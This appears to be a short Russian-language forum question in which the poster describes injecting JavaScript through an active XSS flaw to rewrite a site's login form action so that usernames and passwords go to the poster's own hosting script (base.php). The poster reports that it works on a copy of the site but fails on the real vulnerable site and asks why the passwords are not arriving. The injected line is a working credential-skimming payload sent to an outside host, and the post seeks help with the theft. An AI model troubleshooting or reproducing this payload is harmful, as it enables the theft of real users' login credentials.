Почему когда вставляю код (

document.getElementById('lsform').action="http://МойХостинг1.ru/base.php?";)

на сайт где есть активная xss,то она преобразуется так (УязвимыйСайт.ru/base.php)и пишет что "страница не найдена" а на втором моем хостинге где расположена копия сайта (УязвимыйСайт.ru/forum.php) по адрессу (http://МойХостинг2.ru) то логины и пароли идут нормально после нажатия на кнопку Вход,и после нажатия она переадресовывается на ("http://МойХостинг1.ru/base.php?")Почему с (УязвимыйСайт.ru/forum.php) не идут пароли ?